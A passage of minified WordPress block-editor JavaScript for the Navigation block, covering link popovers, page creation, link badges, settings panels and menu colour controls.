Navigation."),onBack:t,children:(0,tl.jsx)(Ln.__experimentalVStack,{className:"link-ui-page-creator__inner",spacing:4,children:(0,tl.jsx)("form",{onSubmit:h,children:(0,tl.jsxs)(Ln.__experimentalVStack,{spacing:4,children:[(0,tl.jsx)(Ln.TextControl,{__next40pxDefaultSize:!0,label:(0,ki.__)("Title"),onChange:i,placeholder:(0,ki.__)("No title"),value:n}),(0,tl.jsx)(Ln.CheckboxControl,{label:(0,ki.__)("Publish"),help:(0,ki.__)("Turn off to save as a draft. Drafts won't appear on your site until published."),checked:l,onChange:s}),u&&(0,tl.jsx)(Ln.Notice,{status:"error",isDismissible:!1,children:u.message}),(0,tl.jsxs)(Ln.__experimentalHStack,{spacing:2,justify:"flex-end",children:[(0,tl.jsx)(Ln.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:t,disabled:m,accessibleWhenDisabled:!0,children:(0,ki.__)("Cancel")}),(0,tl.jsx)(Ln.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",isBusy:m,"aria-disabled":g,children:(0,ki.__)("Create page")})]})]})})})})}var pD=o(I(),1),QY=o(z(),1),P3=o(T(),1);var dD=o(v(),1),{PrivateQuickInserter:nxe}=Z(P3.privateApis);function ixe({clientId:e,onBack:t,onBlockInsert:r}){let{rootBlockClientId:a}=(0,QY.useSelect)(n=>{let{getBlockRootClientId:i}=n(P3.store);return{rootBlockClientId:i(e)}},[e]);return e?(0,dD.jsx)(S3,{className:"link-ui-block-inserter",title:(0,pD.__)("Add block"),description:(0,pD.__)("Choose a block to add to your Navigation."),onBack:t,children:(0,dD.jsx)(nxe,{rootClientId:a,clientId:e,isAppender:!1,prioritizePatterns:!1,selectBlockOnInsert:!r,onSelect:r||void 0,hasSearch:!1})}):null}var YY=ixe;var Mn=o(v(),1);function hD(e,t){switch(e){case"post":case"page":return{type:"post",subtype:e,perPage:20};case"category":return{type:"term",subtype:"category",perPage:20};case"tag":return{type:"term",subtype:"post_tag",perPage:20};case"post_format":return{type:"post-format",perPage:20};default:return t==="taxonomy"?{type:"term",subtype:e,perPage:20}:t==="post-type"?{type:"post",subtype:e,perPage:20}:{initialSuggestionsSearchOptions:{type:"post",subtype:"page",perPage:20}}}}function lxe(e,t){let{label:r,url:a,opensInNewTab:n,type:i,kind:l,id:s}=e.link,{entityRecord:c,hasBinding:u,isEntityAvailable:m}=e.entity||{},{image:p,badges:d}=Rv({url:a,entityRecord:c,type:i,hasBinding:u,isEntityAvailable:m}),{clientId:f}=e,h=i||"page",[g,b]=(0,Pa.useState)(!1),[y,_]=(0,Pa.useState)(!1),[x,k]=(0,Pa.useState)(null),[S,C]=(0,Pa.useState)(""),E=(0,Pa.useRef)(""),B=K=>{E.current=K,C(K)},D=(0,Pa.useRef)(),M=(0,Pa.useRef)(),O=(0,Pa.useRef)(),R=(0,XY.useResourcePermissions)({kind:"postType",name:h}),{isBoundEntityAvailable:F}=xi({clientId:f,attributes:e.link}),P=(0,Pa.useMemo)(()=>({url:a,opensInNewTab:n,title:r&&(0,B3.__unstableStripHTML)(r),kind:l,type:i,id:s,image:p,badges:d}),[r,n,a,l,i,s,p,d]),H=K=>{e.onChange(K),_(!1),k(!0),B("")},$=(0,fD.useInstanceId)(Jc,"link-ui-link-control__title"),V=(0,fD.useInstanceId)(Jc,"link-ui-link-control__description");(0,Pa.useEffect)(()=>{x&&D.current&&(x?.current?x.current.focus():(B3.focus.tabbable.find(D.current)[0]||D.current).focus(),k(!1))},[x]);let G=(0,I3.useBlockEditingMode)();return(0,Mn.jsxs)(Xc.Popover,{ref:t,placement:"bottom",onClose:e.onClose,anchor:e.anchor,shift:!0,children:[!g&&!y&&(0,Mn.jsxs)("div",{ref:D,role:"dialog","aria-labelledby":$,"aria-describedby":V,children:[(0,Mn.jsxs)(Xc.VisuallyHidden,{children:[(0,Mn.jsx)("h2",{id:$,children:(0,Av.__)("Add link")}),(0,Mn.jsx)("p",{id:V,children:(0,Av.__)("Search for and add a link to your Navigation.")})]}),(0,Mn.jsx)(I3.LinkControl,{hasTextControl:!0,hasRichPreviews:!0,value:P,showInitialSuggestions:!0,withCreateSuggestion:!1,noDirectEntry:!!i,noURLSuggestion:!!i,suggestionsQuery:hD(i,l),onChange:e.onChange,onInputChange:K=>{E.current=K},inputValue:S,onRemove:e.onRemove,onCancel:e.onCancel,handleEntities:F,forceIsEditingLink:P?.url?!1:void 0,renderControlBottom:()=>P?.url?.length?null:(0,Mn.jsx)(sxe,{addPageButtonRef:M,addBlockButtonRef:O,setAddingBlock:()=>{b(!0)},setAddingPage:()=>{_(!0)},canAddPage:R?.canCreate&&i==="page",canAddBlock:G==="default"})})]}),g&&(0,Mn.jsx)(YY,{clientId:e.clientId,onBack:()=>{b(!1),k(O),B(E.current)},onBlockInsert:e?.onBlockInsert}),y&&(0,Mn.jsx)(KY,{postType:h,onBack:()=>{_(!1),k(M),B(E.current)},onPageCreated:H,initialTitle:E.current&&!(0,JY.isURL)(E.current)?E.current:""})]})}var Jc=(0,Pa.forwardRef)(lxe),sxe=({addPageButtonRef:e,addBlockButtonRef:t,setAddingBlock:r,setAddingPage:a,canAddPage:n,canAddBlock:i})=>{let l="listbox";return!n&&!i?null:(0,Mn.jsxs)(Xc.__experimentalVStack,{spacing:0,className:"link-ui-tools",children:[n&&(0,Mn.jsx)(Xc.Button,{__next40pxDefaultSize:!0,ref:e,icon:_f,onClick:s=>{s.preventDefault(),a(!0)},"aria-haspopup":l,children:(0,Av.__)("Create page")}),i&&(0,Mn.jsx)(Xc.Button,{__next40pxDefaultSize:!0,ref:t,icon:_f,onClick:s=>{s.preventDefault(),r(!0)},"aria-haspopup":l,children:(0,Av.__)("Add block")})]})};var Ba=o(I(),1),bD=o(nr(),1),eX=o(T(),1),gD=o(z(),1),vD=o(Y(),1);var{useRemoteUrlData:cxe,isHashLink:tX,isRelativePath:uxe}=Z(eX.privateApis);function mxe(e){return e.charAt(0).toUpperCase()+e.slice(1)}function pxe(e,t){if(e==="/")return!0;if(!e||!t)return!1;try{let r=new URL(e,t),a=new URL(t);if(r.hostname!==a.hostname)return!1;let n=r.pathname.replace(/\/$/,""),i=a.pathname.replace(/\/$/,"");return n===i}catch{return!1}}function dxe({linkUrl:e,homeUrl:t}={}){if(!e)return{displayUrl:"",isExternal:!1};let r=(0,bD.safeDecodeURI)(e),a=!1;if(uxe(e)||tX(e))return{displayUrl:r,isExternal:!1};try{let n=new URL(e),i=new URL(t).host;if(n.host===i){let l=n.pathname+n.search+n.hash;l.endsWith("/")&&l.length>1&&(l=l.slice(0,-1)),r=l}else a=!0}catch{a=!0}return{displayUrl:r,isExternal:a}}function fxe({url:e,homeUrl:t,type:r,isExternal:a,entityStatus:n,hasBinding:i,isEntityAvailable:l}){let s=[];if(e&&(a?s.push({label:(0,Ba.__)("External link"),intent:"default"}):tX(e)?s.push({label:(0,Ba.__)("Internal link"),intent:"default"}):pxe(e,t)?s.push({label:(0,Ba.__)("Homepage"),intent:"default"}):r&&r!=="custom"?s.push({label:mxe(r),intent:"default"}):s.push({label:(0,Ba.__)("Page"),intent:"default"})),i&&!l)s.push({label:(0,Ba.sprintf)((0,Ba.__)("Missing %s"),r),intent:"error"});else if(!e)s.push({label:(0,Ba.__)("No link selected"),intent:"error"});else if(n){let u={publish:{label:(0,Ba.__)("Published"),intent:"success"},future:{label:(0,Ba.__)("Scheduled"),intent:"warning"},draft:{label:(0,Ba.__)("Draft"),intent:"warning"},pending:{label:(0,Ba.__)("Pending"),intent:"warning"},private:{label:(0,Ba.__)("Private"),intent:"default"},trash:{label:(0,Ba.__)("Trash"),intent:"error"}}[n];u&&s.push(u)}return s}function Rv({url:e,entityRecord:t,type:r,hasBinding:a,isEntityAvailable:n}){let i=(0,gD.useSelect)(f=>f(vD.store).getEntityRecord("root","__unstableBase")?.home,[]),l=t?.title?.rendered||t?.title||t?.name,{richData:s}=cxe(l?null:e),{displayUrl:c,isExternal:u}=dxe({linkUrl:e,homeUrl:i}),m=(0,gD.useSelect)(f=>{if(!t?.featured_media)return null;let{getEntityRecord:h}=f(vD.store),g=h("postType","attachment",t.featured_media);return g?.media_details?.sizes?.thumbnail?.source_url||g?.media_details?.sizes?.medium?.source_url||g?.source_url||null},[t?.featured_media]),p=fxe({url:e,homeUrl:i,type:r,isExternal:u,entityStatus:t?.status,hasBinding:a,isEntityAvailable:n});return{title:e?l||s?.title||(0,bD.safeDecodeURI)(e):(0,Ba.__)("Add link"),url:c,image:m,badges:p}}var rX=o(z(),1),oX=o(Y(),1),aX=o(T(),1),hd=(e,t,r,a)=>{let n=e==="post-type"||t==="post"||t==="page",i=Number.isInteger(r),l=(0,aX.useBlockEditingMode)(),{postStatus:s,isDeleted:c}=(0,rX.useSelect)(p=>{if(!n)return{postStatus:null,isDeleted:!1};if(l==="disabled"||!a)return{postStatus:null,isDeleted:!1};let{getEntityRecord:d,hasFinishedResolution:f}=p(oX.store),h=d("postType",t,r),b=f("getEntityRecord",["postType",t,r])&&h===void 0;return{postStatus:h?.status,isDeleted:b}},[n,l,a,t,r]);return[n&&i&&(c||s&&s==="trash"),s==="draft"]};var Bo=o(v(),1),{LinkPicker:hxe,isHashLink:gxe,isRelativePath:vxe}=Z(zv.privateApis);function bxe(e,t){if(t==="post-type")switch(e){case"post":return(0,$t.__)("post");case"page":return(0,$t.__)("page");default:return e||(0,$t.__)("post")}if(t==="taxonomy")switch(e){case"category":return(0,$t.__)("category");case"tag":return(0,$t.__)("tag");default:return e||(0,$t.__)("term")}return e||(0,$t.__)("item")}function Vv({attributes:e,setAttributes:t,clientId:r,isLinkEditable:a=!0}){let{label:n,url:i,description:l,rel:s,opensInNewTab:c}=e,u=W(),{hasUrlBinding:m,isBoundEntityAvailable:p,entityRecord:d}=xi({clientId:r,attributes:e}),[f,h]=hd(e.kind,e.type,d?.id,m),g="";f||m&&!p?g=N3():h&&(g=yxe({type:e.type,kind:e.kind}));let b=Dv({clientId:r,attributes:e,setAttributes:t}),y=(0,E3.useSelect)(B=>B(zv.store).getSettings().onNavigateToEntityRecord,[]),_=(0,E3.useSelect)(B=>B(iX.store).getEntityRecord("root","__unstableBase")?.home,[]),k=(0,E3.useSelect)(B=>B(zv.store).getBlockEditingMode(r),[r])==="contentOnly",S=Rv({url:i,entityRecord:d,type:e.type,hasBinding:m,isEntityAvailable:p}),C=!!i&&(!gxe(i)||vxe(i)&&!i.startsWith("/")),E=C&&i.startsWith("/")&&_?_+i:i;return(0,Bo.jsxs)(Io.__experimentalToolsPanel,{label:(0,$t.__)("Settings"),resetAll:()=>{t({label:"",url:"",description:"",rel:"",opensInNewTab:!1})},dropdownMenuProps:u,children:[(0,Bo.jsx)(Io.__experimentalToolsPanelItem,{hasValue:()=>!!n,label:(0,$t.__)("Text"),onDeselect:()=>t({label:""}),isShownByDefault:!0,children:(0,Bo.jsx)(Io.TextControl,{__next40pxDefaultSize:!0,label:(0,$t.__)("Text"),value:n?(0,nX.__unstableStripHTML)(n):"",onChange:B=>{t({label:B})},autoComplete:"off"})}),a&&(0,Bo.jsxs)(Bo.Fragment,{children:[(0,Bo.jsx)(Io.__experimentalToolsPanelItem,{hasValue:()=>!!i,label:(0,$t.__)("Link to"),onDeselect:()=>t({url:void 0,id:void 0,kind:void 0,type:void 0}),isShownByDefault:!0,children:(0,Bo.jsx)(hxe,{preview:S,onSelect:b,suggestionsQuery:hD(e.type,e.kind),label:(0,$t.__)("Link to"),help:g||void 0})}),(0,Bo.jsx)(Io.__experimentalToolsPanelItem,{hasValue:()=>!!c,label:(0,$t.__)("Open in new tab"),onDeselect:()=>t({opensInNewTab:!1}),isShownByDefault:!0,children:(0,Bo.jsx)(Io.CheckboxControl,{label:(0,$t.__)("Open in new tab"),checked:c,onChange:B=>t({opensInNewTab:B})})}),!!i&&m&&p&&d?.id&&e.kind==="post-type"&&y&&(0,Bo.jsx)(Io.Button,{variant:"secondary",onClick:()=>{y({postId:d.id,postType:e.type})},__next40pxDefaultSize:!0,className:"navigation-link-to__action-button",children:(0,$t.__)("Edit")}),C&&(0,Bo.jsx)(Io.Button,{variant:"secondary",href:E,target:"_blank",icon:C9,iconPosition:"right",__next40pxDefaultSize:!0,className:"navigation-link-to__action-button",children:(0,$t.__)("View")})]}),(0,Bo.jsx)(Io.__experimentalToolsPanelItem,{hasValue:()=>!!l,label:(0,$t.__)("Description"),onDeselect:()=>t({description:""}),isShownByDefault:!k,children:(0,Bo.jsx)(Io.TextareaControl,{label:(0,$t.__)("Description"),value:l||"",onChange:B=>{t({description:B})},help:(0,$t.__)("The description will be displayed in the menu if the current theme supports it.")})}),(0,Bo.jsx)(Io.__experimentalToolsPanelItem,{hasValue:()=>!!s,label:(0,$t.__)("Rel attribute"),onDeselect:()=>t({rel:""}),isShownByDefault:!k,children:(0,Bo.jsx)(Io.TextControl,{__next40pxDefaultSize:!0,label:(0,$t.__)("Rel attribute"),value:s||"",onChange:B=>{t({rel:B})},autoComplete:"off",help:(0,$t.__)("The relationship of the linked URL as space-separated link types.")})})]})}function N3(){return(0,$t.__)("This link is invalid and will not appear on your site. Please update the link.")}function yxe({type:e,kind:t}){let r=bxe(e,t);return(0,$t.sprintf)((0,$t.__)("This link is to a draft %1$s and will not appear on your site until the %1$s is published."),r)}var yD=o(I(),1),lX=o(Ho(),1),xD=o(v(),1);function Fv({label:e,isInvalid:t,isDraft:r,className:a="wp-block-navigation-link__label"}){if(!t&&!r)return null;let n=t?(0,yD.__)("Invalid"):(0,yD.__)("Draft");return(0,xD.jsx)("div",{className:w("wp-block-navigation-link__placeholder-text",a,{"is-invalid":t,"is-draft":r}),children:(0,xD.jsx)("span",{children:`${(0,lX.decodeEntities)(e)} (${n})`.trim()})})}var sX=o(z(),1),cX=o(T(),1);function Ov(e){return(0,sX.useSelect)(t=>{let{getSelectedBlockClientId:r,hasSelectedInnerBlock:a,getBlockParentsByBlockName:n}=t(cX.store),i=r(),l=n(e,"core/navigation")[0];return i===l||a(l,!0)},[e])}var D3=o(j(),1),Hv=e=>{let[t,r]=(0,D3.useState)(!1);return(0,D3.useEffect)(()=>{let{ownerDocument:a}=e.current;function n(s){l(s)}function i(){r(!1)}function l(s){e.current.contains(s.target)?r(!0):r(!1)}return a.addEventListener("dragstart",n),a.addEventListener("dragend",i),a.addEventListener("dragenter",l),()=>{a.removeEventListener("dragstart",n),a.removeEventListener("dragend",i),a.removeEventListener("dragenter",l)}},[e]),t};function jv(e){e.current.focus();let{ownerDocument:t}=e.current,{defaultView:r}=t,a=r.getSelection(),n=t.createRange();n.selectNodeContents(e.current),a.removeAllRanges(),a.addRange(n)}var pX=o(v(),1),xxe=["core/navigation-link","core/navigation-submenu"];function L3({block:e,insertedBlock:t,setInsertedBlock:r}){let{updateBlockAttributes:a,removeBlock:n}=(0,mX.useDispatch)(uX.store),i=xxe?.includes(t?.name),l=t?.clientId===e.clientId,s=i&&l,{createBinding:c,clearBinding:u}=xi({clientId:t?.clientId,attributes:t?.attributes||{}});if(!s)return null;let m=()=>{!t?.attributes?.url&&t?.clientId&&n(t.clientId,!1),r(null)},p=f=>h=>{f&&a(f,h)},d=f=>{t?.clientId&&f&&n(t.clientId,!1),r(f)};return(0,pX.jsx)(Jc,{clientId:t?.clientId,link:t?.attributes,onBlockInsert:d,onClose:()=>{m()},onChange:f=>{let{isEntityLink:h,attributes:g}=fd(f,p(t?.clientId),t?.attributes);h?c(g):u(),r(null)}})}var M3=o(A(),1),dX=o(I(),1),fX=o(T(),1);var Uv=o(v(),1),{useBlockDisplayTitle:_xe}=Z(fX.privateApis),kxe=(0,dX.__)("Switch to '%s'");function hX({clientId:e,blockEditingMode:t,currentMenuId:r,onSelectClassicMenu:a,onSelectNavigationMenu:n,onCreateNew:i,createNavigationMenuIsSuccess:l,createNavigationMenuIsError:s,isManageMenusButtonDisabled:c}){let u=_xe({clientId:e,context:"list-view"});return(0,Uv.jsxs)(M3.__experimentalHStack,{className:"wp-block-navigation-off-canvas-editor__header",children:[(0,Uv.jsx)(M3.__experimentalHeading,{className:"wp-block-navigation-off-canvas-editor__title",level:2,children:u}),t==="default"&&(0,Uv.jsx)(Ah,{currentMenuId:r,onSelectClassicMenu:a,onSelectNavigationMenu:n,onCreateNew:i,createNavigationMenuIsSuccess:l,createNavigationMenuIsError:s,actionLabel:kxe,isManageMenusButtonDisabled:c})]})}var tn=o(v(),1),wxe=(0,_m.__)("Switch to '%s'"),{PrivateListView:Cxe,PrivateBlockContext:Sxe,useListViewPanelState:Txe,useBlockDisplayTitle:Pxe}=Z(km.privateApis),gX=({clientId:e,currentMenuId:t,isLoading:r,isNavigationMenuMissing:a,onCreateNew:n,expandRevision:i})=>{let l=(0,A3.useSelect)(m=>!!m(km.store).getBlockCount(e),[e]),{openListViewContentPanel:s}=Z((0,A3.useDispatch)(km.store)),{navigationMenu:c}=Lh(t);if(t&&a)return(0,tn.jsx)(k3,{onCreateNew:n,isNotice:!0});if(r)return(0,tn.jsx)(Gv.Spinner,{});let u=c?(0,_m.sprintf)((0,_m.__)("Structure for Navigation Menu: %s"),c?.title||(0,_m.__)("Untitled menu")):(0,_m.__)("You have not yet created any menus. Displaying a list of your Pages");return(0,tn.jsxs)("div",{className:"wp-block-navigation__menu-inspector-controls",children:[!l&&(0,tn.jsx)("p",{className:"wp-block-navigation__menu-inspector-controls__empty-message",children:(0,_m.__)("This Navigation Menu is empty.")}),(0,tn.jsx)(Cxe,{rootClientId:e,isExpanded:!0,description:u,showAppender:!0,blockSettingsMenu:jY,additionalBlockContent:L3,onSelect:s},`${e}-${i}`)]})},Bxe=e=>{let{clientId:t,createNavigationMenuIsSuccess:r,createNavigationMenuIsError:a,currentMenuId:n=null,onCreateNew:i,onSelectClassicMenu:l,onSelectNavigationMenu:s,isManageMenusButtonDisabled:c,blockEditingMode:u}=e,{isSelectionWithinCurrentSection:m}=(0,vX.useContext)(Sxe),p=Pxe({clientId:t,context:"list-view"}),d=m,{isOpened:f,expandRevision:h,handleToggle:g}=Txe(t);return d?(0,tn.jsx)(km.InspectorControls,{group:"list",children:(0,tn.jsxs)(Gv.PanelBody,{title:p,opened:f,onToggle:g,children:[u==="default"&&(0,tn.jsx)(Ah,{currentMenuId:n,onSelectClassicMenu:l,onSelectNavigationMenu:s,onCreateNew:i,createNavigationMenuIsSuccess:r,createNavigationMenuIsError:a,actionLabel:wxe,isManageMenusButtonDisabled:c}),(0,tn.jsx)(gX,{...e,expandRevision:h})]})}):(0,tn.jsx)(km.InspectorControls,{group:"list",children:(0,tn.jsxs)(Gv.PanelBody,{title:null,children:[(0,tn.jsx)(hX,{clientId:t,blockEditingMode:u,currentMenuId:n,onSelectClassicMenu:l,onSelectNavigationMenu:s,onCreateNew:i,createNavigationMenuIsSuccess:r,createNavigationMenuIsError:a,isManageMenusButtonDisabled:c}),(0,tn.jsx)(gX,{...e,expandRevision:h})]})})},R3=Bxe;var bX=o(A(),1),_D=o(v(),1);function z3({id:e,children:t}){return(0,_D.jsx)(bX.VisuallyHidden,{children:(0,_D.jsx)("div",{id:e,className:"wp-block-navigation__description",children:t})})}var yX=o(Y(),1),V3=o(I(),1);var xX=o(v(),1);function _X({id:e}){let[t]=(0,yX.useEntityProp)("postType","wp_navigation","title"),r=(0,V3.sprintf)((0,V3.__)('Navigation Menu: "%s"'),t);return(0,xX.jsx)(z3,{id:e,children:r})}var kD=o(z(),1),kX=o(Y(),1);function Wv(){let e=(0,kD.select)("core/editor");if(!e)return!1;let{getCurrentPostType:t,getCurrentPostId:r}=e,{getEditedEntityRecord:a}=(0,kD.select)(kX.store),n=t?.(),i=r?.();return n==="wp_template_part"&&i?a("postType","wp_template_part",i)?.area===Ks:!1}var pe=o(v(),1),{isNavigationPostEditorKey:Ixe}=Z(Xe.privateApis);function Exe({clientId:e}){let{insertBlock:t}=(0,rs.useDispatch)(Xe.store),{getBlockCount:r}=(0,rs.useSelect)(Xe.store),a=(0,qt.useCallback)(()=>{let n=r(e),i=(0,wX.createBlock)(vi.name,{kind:vi.attributes.kind,type:vi.attributes.type});t(i,n,e)},[e,t,r]);return(0,pe.jsx)(Xe.BlockControls,{children:(0,pe.jsx)(Vr.ToolbarGroup,{children:(0,pe.jsx)(Vr.ToolbarButton,{name:"add-page",icon:Tc,onClick:a,children:(0,Dt.__)("Add page")})})})}function Nxe({textColor:e,setTextColor:t,backgroundColor:r,setBackgroundColor:a,overlayTextColor:n,setOverlayTextColor:i,overlayBackgroundColor:l,setOverlayBackgroundColor:s,clientId:c,navRef:u,hasCustomOverlay:m}){let[p,d]=(0,qt.useState)(),[f,h]=(0,qt.useState)(),[g,b]=(0,qt.useState)(),[y,_]=(0,qt.useState)(),x=(0,rs.useSelect)(()=>Wv(),[]),k=qt.Platform.OS==="web";(0,qt.useEffect)(()=>{if(!k)return;eD(u.current,h,d);let E=u.current?.querySelector('[data-type="core/navigation-submenu"] [data-type="core/navigation-link"]');E&&(n.color||l.color)&&eD(E,_,b)},[k,n.color,l.color,u]);let S=(0,Xe.__experimentalUseMultipleOriginColorsAndGradients)();if(!S.hasColorsOrGradients)return null;let C=[{colorValue:e.color,label:(0,Dt.__)("Text"),onColorChange:t,resetAllFilter:()=>t(),clearable:!0,enableAlpha:!0},{colorValue:r.color,label:(0,Dt.__)("Background"),onColorChange:a,resetAllFilter:()=>a(),clearable:!0,enableAlpha:!0}];return C.push({colorValue:n.color,label:m||x?(0,Dt.__)("Submenu text"):(0,Dt.__)("Submenu & overlay text"),onColorChange:i,resetAllFilter:()=>i(),clearable:!0,enableAlpha:!0},{colorValue:l.color,label:m||x?(0,Dt.__)("Submenu background"):(0,Dt.__)("Submenu & overlay background"),onColorChange:s,resetAllFilter:()=>s(),clearable:!0,enableAlpha:!0}),(0,pe.jsxs)(pe.Fragment,{children:[(0,pe.jsx)(Xe.__experimentalColorGradientSettingsDropdown,{__experimentalIsRenderedInSidebar:!0,settings:C,panelId:c,...S,gradients:[],disableCustomGradients:!0}),k&&(0,pe.jsxs)(pe.Fragment,{children:[(0,pe.jsx)(Xe.ContrastChecker,{backgroundColor:p,textColor:f}),(0,pe.jsx)(Xe.ContrastChecker,{backgroundColor:g,textColor:y})]})]})}function Dxe({attributes:e,setAttributes:t,clientId:r,isSelected:a,className:n,backgroundColor:i,setBackgroundColor:l,textColor:s,setTextColor:c,overlayBackgroundColor:u,setOverlayBackgroundColor:m,overlayTextColor:p,setOverlayTextColor:d,customPlaceholder:f=null,__unstableLayoutClassNames:h}){let{submenuVisibility:g,overlayMenu:b,overlay:y,showSubmenuIcon:_,templateLock:x,layout:{justifyContent:k,orientation:S="horizontal",flexWrap:C="wrap"}={},hasIcon:E,icon:B="handle"}=e,D=e.ref,M=(0,qt.useCallback)(Xt=>{t({ref:Xt})},[t]);(0,qt.useEffect)(()=>{S==="horizontal"&&g==="always"&&t({submenuVisibility:"hover",showSubmenuIcon:!0})},[S,g,t]);let O=`navigationMenu/${D}`,R=(0,Xe.useHasRecursion)(O),{isPreviewMode:F,onNavigateToEntityRecord:P,currentTheme:H,editorDisabledResponsive:$}=(0,rs.useSelect)(Xt=>{let{getSettings:vs}=Xt(Xe.store),yl=vs();return{isPreviewMode:yl.isPreviewMode,onNavigateToEntityRecord:yl?.onNavigateToEntityRecord,currentTheme:Xt(wm.store).getCurrentTheme()?.stylesheet,editorDisabledResponsive:!!yl?.[Ixe]}},[]),V=F?!1:R,G=(0,Xe.useBlockEditingMode)(),{records:K}=(0,wm.useEntityRecords)("root","menu",{per_page:-1,context:"view"}),[X,ee]=e3({name:"block-library/core/navigation/status"}),[ne,J]=e3({name:"block-library/core/navigation/classic-menu-conversion"}),[oe,ie]=e3({name:"block-library/core/navigation/permissions/update"}),{create:le,status:de,error:Ve,value:Ne,isPending:ae,isSuccess:Be,isError:Ae}=DY(r),re=async()=>{await le("")},{hasUncontrolledInnerBlocks:fe,uncontrolledInnerBlocks:rt,isInnerBlockSelected:tt,innerBlocks:Yt}=AY(r),he=(0,qt.useRef)(!1),wt=(0,rs.useSelect)(Xt=>{if(Yt.some(Pu=>Pu.name==="core/navigation-submenu"))return!0;let yl=Yt.find(Pu=>Pu.name==="core/page-list");if(!yl)return he.current=!1,!1;if(he.current)return!0;let{getBlocks:yy}=Xt(Xe.store);return yy(yl.clientId).length>0?(he.current=!0,!0):!1},[Yt]),{records:je}=(0,wm.useEntityRecords)("postType","wp_template_part",{per_page:-1}),xe=je?.some(Xt=>Xt.area===Ks)??!1,{replaceInnerBlocks:ot,selectBlock:Ke,__unstableMarkNextChangeAsNotPersistent:Qe}=(0,rs.useDispatch)(Xe.store),[Ro,Q]=(0,qt.useState)(!1),[Ie,$e]=(0,qt.useState)(!1),{hasResolvedNavigationMenus:Oe,isNavigationMenuResolved:De,isNavigationMenuMissing:ut,canUserUpdateNavigationMenu:ro,hasResolvedCanUserUpdateNavigationMenu:da,canUserDeleteNavigationMenu:at,hasResolvedCanUserDeleteNavigationMenu:zo,canUserCreateNavigationMenus:fn,isResolvingCanUserCreateNavigationMenus:sf,hasResolvedCanUserCreateNavigationMenus:hs}=Lh(D),Wn=Oe&&ut,{convert:bl,status:gs,error:cf}=vY(le),Xm=gs===h3,Se=(0,qt.useCallback)((Xt,vs={focusNavigationBlock:!1})=>{let{focusNavigationBlock:yl}=vs;M(Xt),yl&&Ke(r)},[Ke,r,M]),bt=!ut&&De,oo=fe&&!bt,{getNavigationFallbackId:Cc}=Z((0,rs.useSelect)(wm.store)),Ai=D||oo?null:Cc();(0,qt.useEffect)(()=>{D||oo||!Ai||(Qe(),M(Ai))},[D,M,oo,Ai,Qe]);let wu=(0,qt.useRef)(),Cu=(0,rs.useSelect)(()=>Wv(),[]),$n=Cu?"div":"nav",uf=!D&&!ae&&!Xm&&Oe&&K?.length===0&&!fe,Su=!Oe||ae||Xm||!!(D&&!bt&&!Xm),hy=e.style?.typography?.textDecoration,Sc=(0,rs.useSelect)(Xt=>Xt(Xe.store).__unstableHasActiveBlockOverlayActive(r),[r]),gy=(0,qt.useRef)(!1);(0,qt.useEffect)(()=>{Cu&&(b!=="never"&&t({overlayMenu:"never"}),!gy.current&&!D&&(gy.current=!0,t({submenuVisibility:"always",layout:{...e.layout,orientation:"vertical"},showSubmenuIcon:!1})))},[e.layout,Cu,b,D,t]);let mf=b!=="never"&&!$,Tu=(0,Xe.useBlockProps)({ref:wu,className:w(n,{"items-justified-right":k==="right","items-justified-space-between":k==="space-between","items-justified-left":k==="left","items-justified-center":k==="center","is-vertical":S==="vertical","no-wrap":C==="nowrap","is-responsive":mf,"has-text-color":!!s.color||!!s?.class,[(0,Xe.getColorClassName)("color",s?.slug)]:!!s?.slug,"has-background":!!i.color||i.class,[(0,Xe.getColorClassName)("background-color",i?.slug)]:!!i?.slug,[`has-text-decoration-${hy}`]:hy,"block-editor-block-content-overlay":Sc},h),style:{color:!s?.slug&&s?.color,backgroundColor:!i?.slug&&i?.color}}),pf=async Xt=>bl(Xt.id,Xt.name,"draft"),df=Xt=>{Se(Xt)};(0,qt.useEffect)(()=>{ee(),ae&&(0,F3.speak)((0,Dt.__)("Creating Navigation Menu.")),Be&&(Se(Ne?.id,{focusNavigationBlock:!0}),X((0,Dt.__)("Navigation Menu successfully created."))),Ae&&X((0,Dt.__)("Failed to create Navigation Menu."))},[de,Ve,Ne?.id,Ae,Be,ae,Se,ee,X]),(0,qt.useEffect)(()=>{J(),gs===h3&&(0,F3.speak)((0,Dt.__)("Classic menu importing.")),gs===lD&&(ne((0,Dt.__)("Classic menu imported successfully.")),Se(Ne?.id,{focusNavigationBlock:!0})),gs===d3&&ne((0,Dt.__)("Classic menu import failed."))},[gs,cf,J,ne,Ne?.id,Se]),(0,qt.useEffect)(()=>{!a&&!tt&&ie(),(a||tt)&&(D&&!Wn&&da&&!ro&&oe((0,Dt.__)("You do not have permission to edit this Menu. Any changes made will not be saved.")),!D&&hs&&!fn&&oe((0,Dt.__)("You do not have permission to create Navigation Menus.")))},[a,tt,ro,da,fn,hs,D,ie,oe,Wn]);let vy=fn||ro,i0=w("wp-block-navigation__overlay-menu-preview",{open:Ie}),Jm=!_&&g!=="click"&&g!=="always"?(0,Dt.__)('The current menu options offer reduced accessibility for users and are not recommended. Enabling either "Open on Click" or "Show arrow" offers enhanced accessibility by allowing keyboard users to browse submenus selectively.'):"",ff=(0,qt.useRef)(!0);(0,qt.useEffect)(()=>{!ff.current&&Jm&&(0,F3.speak)(Jm),ff.current=!1},[Jm]);let by=(0,CX.useInstanceId)(RQ,"overlay-menu-preview"),l0=W(),s0=(0,pe.jsxs)(pe.Fragment,{children:[(0,pe.jsx)(Xe.InspectorControls,{children:wt&&(0,pe.jsx)(Vr.__experimentalToolsPanel,{label:(0,Dt.__)("Display"),resetAll:()=>{t({showSubmenuIcon:!0,submenuVisibility:"hover",overlayMenu:"mobile",hasIcon:!0,icon:"handle"})},dropdownMenuProps:l0,children:wt&&(0,pe.jsxs)(pe.Fragment,{children:[(0,pe.jsx)("h3",{className:"wp-block-navigation__submenu-header",children:(0,Dt.__)("Submenus")}),(0,pe.jsx)(Vr.__experimentalToolsPanelItem,{hasValue:()=>g!=="hover",label:(0,Dt.__)("Submenu Visibility"),onDeselect:()=>t({submenuVisibility:"hover"}),isShownByDefault:!0,children:(0,pe.jsxs)(Vr.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,label:(0,Dt.__)("Submenu Visibility"),value:g,onChange:Xt=>{let 